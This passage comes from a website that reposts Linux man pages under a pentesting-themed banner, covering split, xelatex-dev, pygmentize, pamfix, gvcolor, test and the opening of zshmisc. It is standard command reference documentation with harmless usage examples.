  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

310 - Linux cli command split

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command split and provides detailed information about the command split, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the split.

NAME 🖥️ split 🖥️

split a file into pieces

SYNOPSIS

split [OPTION]… [FILE [PREFIX]]

DESCRIPTION

Output pieces of FILE to PREFIXaa, PREFIXab, …; default size is 1000 lines, and default PREFIX is ‘x’.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-a, –suffix-length=N
generate suffixes of length N (default 2)

–additional-suffix=SUFFIX
append an additional SUFFIX to file names

-b, –bytes=SIZE
put SIZE bytes per output file

-C, –line-bytes=SIZE
put at most SIZE bytes of records per output file

-d
use numeric suffixes starting at 0, not alphabetic

–numeric-suffixes[=FROM]
same as -d, but allow setting the start value

-x
use hex suffixes starting at 0, not alphabetic

–hex-suffixes[=FROM]
same as -x, but allow setting the start value

-e, –elide-empty-files
do not generate empty output files with ‘-n’

–filter=COMMAND
write to shell COMMAND; file name is $FILE

-l, –lines=NUMBER
put NUMBER lines/records per output file

-n, –number=CHUNKS
generate CHUNKS output files; see explanation below

-t, –separator=SEP
use SEP instead of newline as the record separator; ‘�’ (zero) specifies the NUL character

-u, –unbuffered
immediately copy input to output with ‘-n r/…’

–verbose
print a diagnostic just before each output file is opened

–help
display this help and exit

–version
output version information and exit

The SIZE argument is an integer and optional unit (example: 10K is 10*1024). Units are K,M,G,T,P,E,Z,Y,R,Q (powers of 1024) or KB,MB,… (powers of 1000). Binary prefixes can be used, too: KiB=K, MiB=M, and so on.

CHUNKS may be:

N
split into N files based on size of input

K/N
output Kth of N to stdout

l/N
split into N files without splitting lines/records

l/K/N
output Kth of N to stdout without splitting lines/records

r/N
like ’l’ but use round robin distribution

r/K/N
likewise but only output Kth of N to stdout

AUTHOR

Written by Torbjorn Granlund and Richard M. Stallman.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/split>
or available locally via: info ‘(coreutils) split invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

311 - Linux cli command xelatex-dev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xelatex-dev and provides detailed information about the command xelatex-dev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xelatex-dev.

NAME 🖥️ xelatex-dev 🖥️

dev, pdflatex-dev, xelatex-dev, lualatex-dev, dvilualatex-dev, platex-dev, uplatex-dev - release candidate LaTeX testing

SYNOPSIS

latex-dev [first-line]

DESCRIPTION

These -dev executables are intended for testing upcoming LaTeX2e kernel changes. They correspond to new formats which have been tested by the LaTeX team for stability and usability. Thus, they are not arbitrary development snapshots; more like release candidates.

Wider testing by knowledgeable users is desired, indeed, is the main purpose for these executables to exist. Simply replacing the regular engine (e.g., pdflatex) with the -dev engine name (pdflatex-dev) is all that should be needed.

The lualatex-dev format is based on luahbtex, the luatex variant with harfbuzz enabled for glyph shaping.

Please report bugs in these -dev versions, like all LaTeX releases, following the procedure at https://www.latex-project.org/bugs.

SEE ALSO

latex(1).

The LaTeX home page is https://latex-project.org.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

312 - Linux cli command pygmentize

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pygmentize and provides detailed information about the command pygmentize, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pygmentize.

NAME 🖥️ pygmentize 🖥️

highlights the input file

SYNOPSIS

pygmentize [-l <lexer> | -g] [-F <filter>[:<options>]] [-f <formatter>] [-O <options>] [-P <option=value>] [-o <outfile>] [<infile>]
pygmentize -S <style> -f <formatter> [-a <arg>] [-O <options>] [-P <option=value>]
pygmentize -L [<which> …]
pygmentize -N <filename>
pygmentize -C
pygmentize -H <type> <name>
pygmentize -h | -V

DESCRIPTION

Pygments is a generic syntax highlighter for general use in all kinds of software such as forum systems, wikis or other applications that need to prettify source code.

Its highlights are: * a wide range of common languages and markup formats is supported * special attention is paid to details, increasing quality by a fair amount * support for new languages and formats are added easily * a number of output formats, presently HTML, LaTeX and ANSI sequences * it is usable as a command-line tool and as a library * … and it highlights even Brainfuck!

pygmentize is a command that uses Pygments to highlight the input file and write the result to <outfile>. If no <infile> is given, stdin is used.

OPTIONS

A summary of options is included below.

-l <lexer>
Set the lexer name. If not given, the lexer is guessed from the extension of the input file name (this obviously doesn’t work if the input is stdin).

-g
Attempt to guess the lexer from the file contents, or pass through as plain text if this fails (this option works for highlighting standard input).

-F <filter>[:<options>]
Add a filter to the token stream. You can give options in the same way as for -O after a colon (note: there must not be spaces around the colon). This option can be given multiple times.

-f <formatter>
Set the formatter name. If not given, it will be guessed from the extension of the output file name. If no output file is given, the terminal formatter will be used by default.

-o <outfile>
Set output file. If not given, stdout is used.

-O <options>
With this option, you can give the lexer and formatter a comma-separated list of options, e.g. “-O bg=light,python=cool”. Which options are valid for which lexers and formatters can be found in the documentation. This option can be given multiple times.

-P <option=value>
This option adds lexer and formatter options like the -O option, but you can only give one option per -P. That way, the option value may contain commas and equals signs, which it can’t with -O.

-S <style>
Print out style definitions for style <style> and for formatter <formatter>. The meaning of the argument given by -a <arg> is formatter dependent and can be found in the documentation.

-L [<which> …]
List lexers, formatters, styles or filters. Set <which> to the thing you want to list (e.g. “styles”), or omit it to list everything.

-N <filename>
Guess and print out a lexer name based solely on the given filename. Does not take input or highlight anything. If no specific lexer can be found, “text” is printed.

-C
Like -N, but guess a lexer based on content read from standard input.

-H <type> <name>
Print detailed help for the object <name> of type <type>, where <type> is one of “lexer”, “formatter” or “filter”.

-h
Show help screen.

-V
Show version of the Pygments package.

SEE ALSO

/usr/share/doc/python-pygments-doc/index.html

AUTHOR

pygmentize was written by Georg Brandl <[email protected]>.

This manual page was written by Piotr Ozarowski <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

313 - Linux cli command pamfix

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamfix and provides detailed information about the command pamfix, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamfix.

.

NAME 🖥️ pamfix 🖥️

repair a Netpbm image with various corruptions

SYNOPSIS

pamfix

[-truncate] [-changemaxval] [-clip] [-verbose]

[netpbmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamfix reads a stream that is mostly a Netpbm image but may have certain types of corruptions and produces a valid Netpbm image that preserves much of the information in the original.

In particular, Netpbm salvages streams that are truncated and that contain illegally large sample values.

pamfix looks at only on the first image in a multi-image stream.

Truncated Stream

This is a stream that is missing the last part. Netpbm corrects this by creating an output image that simply has fewer rows.

You select this kind of repair with a -truncate option.

The header of a Netpbm image implies how large the image must be (how many bytes the file must contain). If the file is actually smaller than that, a Netpbm program that tries to read the image fails, with an error message telling you that it couldn’t read the whole file. The data in the file is arranged in row order, from top to bottom, and the most common reason for the file being smaller than its header says it should be is because the bottommost rows are simply missing. So pamfix assumes that is the case and generates a new image with just the rows that are readable. (technically, that means the output’s header indicates a smaller number of rows and omits any partial last row).

The most common way for a Netpbm file to be small is that something interrupted the program that generated it before it was finished writing the file. For example, the program ran out of its own input or encountered a bug or ran out of space in which to write the output.

Another problem pamfix deals with is where the file isn’t actually too small, but because of a system error, a byte in the middle of it cannot be read (think of a disk storage failure). pamfix reads the input sequentially until it can’t read any further, for any reason. So it treats such an image as a truncated one, ignoring all data after the unreadable byte.

But be aware that an image file is sometimes too small because of a bug in the program that generated it, and in that case it is not simply a matter of the bottom of the image missing, so pamfix simply creates a valid Netpbm image containing a garbage picture.

If you want to test an image file to see if it is corrupted by being too small, use pamfile –allimages . It fails with an error message if the file is too small.

If you want to cut the bottom off a valid Netpbm image, use pamcut.

Excessive Sample Value

This is a stream that contains a purported sample value that is higher than the maxval of the image.

The header of a Netpbm image tells the maxval of the image, which is a value that gives meaning to all the sample values in the raster. The sample values represent a fraction of the maxval, so a sample value that is greater than the maxval makes no sense.

A regular Netpbm program fails if you give it input that contains a value larger than the maxval where a sample value belongs.

pamfix has three ways of salvaging such a stream:

  • Clip to the maxval. Request this with -clip.

  • Raise the maxval, thus lowering the fraction represented by every sample in the image. Request this with -changemaxval.

  • Truncate the image at the first invalid sample value. Request this with -truncate and neither -clip nor -changemaxval.

You cannot specify both -clip and -changemaxval.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamfix recognizes the following command line options:

-truncate
Create a truncated output image from all the valid input rows that could be read.

-changemaxval
Raise the maxval to cope with pixel values that exceed the maxval stated in the header of the input file.

-clip
Change all pixel values that exceed the maxval stated in the header of the input file.

-verbose
Report details of the transportation to standard error.

SEE ALSO

pnm(1) , pam(1) , pamcut(1) , pamfile(1) , pamvalidate(1)

HISTORY

pamfix was new in Netpbm 10.66 (March 2014). But it grew out of pamfixtrunc, which was new in Netpbm 10.38 (March 2007) and did only the truncated image repair (and for invalid sample values would simply pass them through to its output, generating an invalid Netpbm image).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamfix.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

314 - Linux cli command gvcolor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvcolor and provides detailed information about the command gvcolor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvcolor.

NAME 🖥️ gvcolor 🖥️

flow colors through a ranked digraph

SYNOPSIS

gvcolor [ files ]

USAGE

dot file.gv | gvcolor | dot -T*<format>*

DESCRIPTION

gvcolor (previously known as colorize) is a filter that sets node colors from initial seed values. Colors flow along edges from tail to head, and are averaged (as HSB vectors) at nodes. The graph must already have been processed by dot. Appropriate choice of initial colors yields drawings in which node colors help to emphasize logical relationships between nodes, even when they are spread far apart in the layout.

Initial colors must be set externally, using the color attribute of a node. It is often effective to assign colors to a few key source or sink nodes, manually setting their colors by editing the graph file. Color names are as in dot(1): symbolic names or RGB triples. It is best to choose some easily‐distinguished but related colors; not necessarily spaced evenly around the color wheel. For example, blue_green, green, and light_yellow looks better than red, green, blue.

Certain graph attributes control the gvcolor algorithm. flow=back reverses the flow of colors from heads to tails. saturation=.1,.9 (or any two numbers between 0 and 1) adjusts the color saturation linearly from least to greatest rank. If Defcolor is set, this color value is applied to any node not otherwise colored.

EXIT STATUS

The following exit values are returned:

0
Successful completion.

1
If nodes of the graph do not possess a ``pos’’ attribute.

BUGS

It would be nice to make the program work without relying on an initial pass through dot.

AUTHORS

Stephen C. North <[email protected]>
Emden R. Gansner <[email protected]>

SEE ALSO

gc(1), dot(1), gvpr(1), ccomps(1), sccmap(1), tred(1), libgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

315 - Linux cli command test

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command test and provides detailed information about the command test, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the test.

NAME 🖥️ test 🖥️

check file types and compare values

SYNOPSIS

test EXPRESSION
test
[ EXPRESSION ]
[ ]
[ OPTION

DESCRIPTION

Exit with the status determined by EXPRESSION.

–help
display this help and exit

–version
output version information and exit

An omitted EXPRESSION defaults to false. Otherwise, EXPRESSION is true or false and sets exit status. It is one of:

( EXPRESSION )
EXPRESSION is true

! EXPRESSION
EXPRESSION is false

EXPRESSION1 -a EXPRESSION2
both EXPRESSION1 and EXPRESSION2 are true

EXPRESSION1 -o EXPRESSION2
either EXPRESSION1 or EXPRESSION2 is true

-n STRING
the length of STRING is nonzero

STRING
equivalent to -n STRING

-z STRING
the length of STRING is zero

STRING1 = STRING2
the strings are equal

STRING1 != STRING2
the strings are not equal

INTEGER1 -eq INTEGER2
INTEGER1 is equal to INTEGER2

INTEGER1 -ge INTEGER2
INTEGER1 is greater than or equal to INTEGER2

INTEGER1 -gt INTEGER2
INTEGER1 is greater than INTEGER2

INTEGER1 -le INTEGER2
INTEGER1 is less than or equal to INTEGER2

INTEGER1 -lt INTEGER2
INTEGER1 is less than INTEGER2

INTEGER1 -ne INTEGER2
INTEGER1 is not equal to INTEGER2

FILE1 -ef FILE2
FILE1 and FILE2 have the same device and inode numbers

FILE1 -nt FILE2
FILE1 is newer (modification date) than FILE2

FILE1 -ot FILE2
FILE1 is older than FILE2

-b FILE
FILE exists and is block special

-c FILE
FILE exists and is character special

-d FILE
FILE exists and is a directory

-e FILE
FILE exists

-f FILE
FILE exists and is a regular file

-g FILE
FILE exists and is set-group-ID

-G FILE
FILE exists and is owned by the effective group ID

-h FILE
FILE exists and is a symbolic link (same as -L)

-k FILE
FILE exists and has its sticky bit set

-L FILE
FILE exists and is a symbolic link (same as -h)

-N FILE
FILE exists and has been modified since it was last read

-O FILE
FILE exists and is owned by the effective user ID

-p FILE
FILE exists and is a named pipe

-r FILE
FILE exists and the user has read access

-s FILE
FILE exists and has a size greater than zero

-S FILE
FILE exists and is a socket

-t FD
file descriptor FD is opened on a terminal

-u FILE
FILE exists and its set-user-ID bit is set

-w FILE
FILE exists and the user has write access

-x FILE
FILE exists and the user has execute (or search) access

Except for -h and -L, all FILE-related tests dereference symbolic links. Beware that parentheses need to be escaped (e.g., by backslashes) for shells. INTEGER may also be -l STRING, which evaluates to the length of STRING.

NOTE: Binary -a and -o are inherently ambiguous. Use ’test EXPR1 && test EXPR2’ or ’test EXPR1 || test EXPR2’ instead.

NOTE: [ honors the –help and –version options, but test does not. test treats each of those as it treats any other nonempty STRING.

NOTE: your shell may have its own version of test and/or [, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

AUTHOR

Written by Kevin Braunsdorf and Matthew Bradburn.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

access(2)

Full documentation <https://www.gnu.org/software/coreutils/test>
or available locally via: info ‘(coreutils) test invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

316 - Linux cli command zshmisc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshmisc and provides detailed information about the command zshmisc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshmisc.

NAME 🖥️ zshmisc 🖥️

everything and then some

SIMPLE COMMANDS & PIPELINES

A simple command is a sequence of optional parameter assignments followed by blank-separated words, with optional redirections interspersed. For a description of assignment, see the beginning of zshparam(1).

The first word is the command to be executed, and the remaining words, if any, are arguments to the command. If a command name is given, the parameter assignments modify the environment of the command when it is executed. The value of a simple command is its exit status, or 128 plus the signal number if terminated by a signal. For example,

echo foo

is a simple command with arguments.

A pipeline is either a simple command, or a sequence of two or more simple commands where each command is separated from the next by `|’ or `|&’. Where commands are separated by `|’, the standard output of the first command is connected to the standard input of the next. `|&’ is shorthand for `2>&1 |’, which connects both the standard output and the standard error of the command to the standard input of the next. The value of a pipeline is the value of the last command, unless the pipeline is preceded by `!’ in which case the value is the logical inverse of the value of the last command. For example,

echo foo | sed ’s/foo/bar/'

is a pipeline, where the output (`foo’ plus a newline) of the first command will be passed to the input of the second.

If a pipeline is preceded by `coproc’, it is executed as a coprocess; a two-way pipe is established between it and the parent shell. The shell can read from or write to the coprocess by means of the `>&p’ and `<&p’ redirection operators or with `print -p’ and `read -p’. A pipeline cannot be preceded by both `coproc’ and `!’. If job control is active, the coprocess can be treated in other than input and output as an ordinary background job.

A sublist is either a single pipeline, or a sequence of two or more pipelines separated by `&&’ or `||’. If two pipelines are separated by `&&’, the second pipeline is executed only if the first succeeds (returns a zero status). If two pipelines are separated by `||’, the second is executed only if the first fails (returns a nonzero status). Both operators have equal precedence and are left associative. The value of the sublist is the value of the last pipeline executed. For example,

dmesg | grep panic && print yes

is a sublist consisting of two pipelines, the second just a simple command which will be executed if and only if the grep command returns a zero status. If it does not, the value of the sublist is that return status, else it is the status returned by the print (almost certainly zero).

A list is a sequence of zero or more sublists, in which each sublist is terminated by `;’, `&’, `&|’, `&!’, or a newline. This terminator may optionally be omitted from the last sublist in the list when the list appears as a complex command inside `()’ or `{}’. When a sublist is terminated by `;’ or newline, the shell waits for it to finish before executing the next sublist. If a sublist is terminated by a `&’, `&|’, or `&!’, the shell executes the last pipeline in it in the background, and does not wait for it to finish (note the difference from other shells which execute the whole sublist in the background). A backgrounded pipeline returns a status of zero.

More generally, a list can be seen as a set of any shell commands whatsoever, including the complex commands below; this is implied wherever the word `list’ appears in later descriptions. For example, the commands in a shell function form a special sort of list.

PRECOMMAND MODIFIERS

A simple command may be preceded by a precommand modifier, which will alter how the command is interpreted. These modifiers are shell builtin commands with the exception of nocorrect which is a reserved word.

- The command is executed with a `-’ prepended to its argv[0] string.

builtin
The command word is taken to be the name of a builtin command, rather than a shell function or external command.

command [ -pvV ]
The command word is taken to be the name of an external command, rather than a shell function or builtin. If the POSIX_BUILTINS option is set, builtins will also be executed but certain special properties of them are suppressed. The -p flag causes a default path to be searched instead of that in $path. With the -v flag, command is similar to whence and with -V, it is equivalent to whence -v.

exec [ -cl ] [ -a argv0 ]
The following command together with any arguments is run in place of the current process, rather than as a sub-process. The shell does not fork and is replaced. The shell does not invoke TRAPEXIT, nor does it source zlogout files. The options are provided for compatibility with other shells.

The -c option clears the environment.

The -l option is equivalent to the - precommand modifier, to treat the replacement command as a login shell; the command is executed with a - prepended to its argv[0] string. This flag has no effect if used together with the -a option.

The -a option is used to specify explicitly the argv[0] string (the name of the command as seen by the process itself) to be used by the replacement command and is directly equivalent to setting a value for the ARGV0 environment variable.

nocorrect
Spelling correction is not done on any of the words. This must appear before any other precommand modifier, as it is interpreted immediately, before any parsing is done. It has no effect in non-interactive shells.

noglob
Filename generation (globbing) is not performed on any of the words.

COMPLEX COMMANDS

A complex command in zsh is one of the following:

if list then list [ elif list then list ] … [ else list ] fi The if list is executed, and if it returns a zero exit status, the then list is executed. Otherwise, the elif list is executed and if its status is zero, the then list is executed. If each elif list returns nonzero status, the else list is executed.

for name … [ in word … ] term do list done
Expand the list of words, and set the parameter name to each of them in turn, executing list each time. If the `in word’ is omitted, use the positional parameters instead of the words.

The term consists of one or more newline or ; which terminate the words, and are optional when the `in word’ is omitted.

More than one parameter name can appear before the list of words. If N names are given, then on each execution of the loop the next N words are assigned to the corresponding parameters. If there are more names than remaining words, the remaining parameters are each set to the empty string. Execution of the loop ends when there is no remaining word to assign to the first name. It is only possible for in to appear as the first name in the list, else it will be treated as marking the end of the list.

for (( [expr1] ; [expr2] ; [expr3] )) do list done
The arithmetic expression expr1 is evaluated first (see the section `Arithmetic Evaluation’). The arithmetic expression expr2 is repeatedly evaluated until it evaluates to zero and when non-zero, list is executed and the arithmetic expression expr3 evaluated. If any expression is omitted, then it behaves as if it evaluated to 1.

while list do list done
Execute the do list as long as the while list returns a zero exit status.

until list do list done
Execute the do list as long as until list returns a nonzero exit status.

repeat word do list done
word is expanded and treated as an arithmetic expression, which must evaluate to a number n. list is then executed n times.

The repeat syntax is disabled by default when the shell starts in a mode emulating another shell. It can be enabled with the command `enable -r repeat'

case word in [ [(] pattern [ | pattern ] … ) list (;;|;&|;|) ] … esac
Execute the list associated with the first pattern that matches word, if any. The form of the patterns is the same as that used for filename generation. See the section `Filename Generation'.

Note further that, unless the SH_GLOB option is set, the whole pattern with alternatives is treated by the shell as equivalent to a group of patterns within parentheses, although white space may appear about the parentheses and the vertical bar and will be stripped from the pattern at those points. White space may appear elsewhere in the pattern; this is not stripped. If the SH_GLOB option is set, so that an opening parenthesis can be unambiguously treated as part of the case syntax, the expression is parsed into separate words and these are treated as strict alternatives (as in other shells).

If the list that is executed is terminated with ;& rather than ;;, the following list is also executed. The rule for the terminator of the following list ;;, ;& or ;| is applied unless the esac is reached.

If the list that is executed is terminated with ;| the shell continues to scan the patterns looking for the next match, executing the corresponding list, and applying the rule for the corresponding terminator ;;, ;& or ;|. Note that word is not re-expanded; all applicable patterns are tested with the same word.

select name [ in wordterm ] do list done
where term is one or more newline or ; to terminate the words. Print the set of words, each preceded by a number. If the in word is omitted, use the positional parameters. The PROMPT3 prompt is printed and a line is read from the line editor if the shell is interactive and that is active, or else standard input. If this line consists of the number of one of the listed words, then the parameter name is set to the word corresponding to this number. If this line is empty, the selection list is printed again. Otherwise, the value of the parameter name is set to null. The contents of the line read from standard input is saved in the parameter REPLY. list is executed for each selection until a break or end-of-file is encountered.

( list )
Execute list in a subshell. Traps set by the trap builtin are reset to their default values while executing list; an exception is that ignored signals will continue to be ignored if the option POSIXTRAPS is set.

{ list }
Execute list.

{ try-list } always { always-list }
First execute try-list. Regardless of errors, or break or continue commands encountered within try-list, execute always-list. Execution then continues from the result of the execution of try-list; in other words, any error, or break or continue command is treated in the normal way, as if always-list were not present. The two chunks of code are referred to as the `try block’ and the `always block'.

Optional newlines or semicolons may appear after the always; note, however, that they may not appear between the preceding closing brace and the always.

An `error’ in this context is a condition such as a syntax error which causes the shell to abort execution of the current function, script, or list. Syntax errors encountered while the shell is parsing the code do not cause the always-list to be executed. For example, an erroneously constructed if block in try-list would cause the shell to abort during parsing, so that always-list would not be executed, while an erroneous substitution such as ${*foo*} would cause a run-time error, after which always-list would be executed.

An error condition can be tested and reset with the special integer variable TRY_BLOCK_ERROR. Outside an always-list the value is irrelevant, but it is initialised to -1. Inside always-list, the value is 1 if an error occurred in the try-list, else 0. If TRY_BLOCK_ERROR is set to 0 during the always-list, the error condition caused by the try-list is reset, and shell execution continues normally after the end of always-list. Altering the value during the try-list is not useful (unless this forms part of an enclosing always block).

Regardless of TRY_BLOCK_ERROR, after the end of always-list the normal shell status $? is the value returned from try-list. This will be non-zero if there was an error, even if TRY_BLOCK_ERROR was set to zero.

The following executes the given code, ignoring any errors it causes. This is an alternative to the usual convention of protecting code by executing it in a subshell.

